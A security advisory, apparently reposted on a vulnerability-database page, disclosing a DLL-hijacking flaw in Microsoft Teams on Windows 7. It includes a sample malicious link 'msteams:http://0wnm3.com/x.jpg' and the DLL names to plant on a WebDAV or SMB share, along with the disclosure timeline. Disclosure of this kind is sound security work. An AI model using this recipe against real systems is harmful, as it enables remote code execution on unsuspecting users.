Lucene search
+L

Microsoft Teams Instant Messenger DLL Hijacking

🗓️ 16 Dec 2019 00:00:00Reported by Eduardo Braun PradoType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 128 Views

Microsoft Teams Instant Messenger vulnerability to remote DLL loading / hijacking on Windows 7 SP

Code
`Microsoft Teams Instant Messenger application on Windows 7 SP1 fully patched is vulnerable to remote DLL loading / hijacking because :  
  
a) The OS does not ship with the affected library(ies)  
b) The Teams application does not provide the library(ies)  
  
So, it performs a search according to the 'PATH' environment variable, including the directory where the application resides and the current working directory, therefore allowing attackers to remotely exploit the issue, through the registered URL protocol:  
  
By eg. creating an Office document containing a hyperlink like "msteams:http://0wnm3.com/x.jpg" is enough to trigger the issue. (User needs to click it, or eg. use OLE objects that automates the action upon document opening). The file should be placed on a WebDAV or SMB share along a valid dll (with a 'DllMain' entry point) named "shcore.dll" or "wldp.dll" or "dcomp.dll" ... And even more. Notice the DLL must match the platform of Teams app (On Windows x64, by default Teams x64 is installed so the DLL must be x64 as well.)  
  
Tested on Teams v.1.2.00.22654 (latest version) on Windows 7 / 2008 fully patched as of December 2019.  
  
  
Note: Microsoft was contacted on September 21, 2019.  
  
Replied on the same day with an automated message, saying I would be contacted when the case was reviewed.  
  
Usually in a week or so they reply saying whether they reproced or not and/or whether it will be patched or not.  
  
  
On December, 10, 2019, I replied to the thread asking for feedback. No feedback received until December, 15, so I decided to go public.  
  
  
* Eduardo Braun Prado.  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 Dec 2019 00:00Current
0.2Low risk
Vulners AI Score0.2
128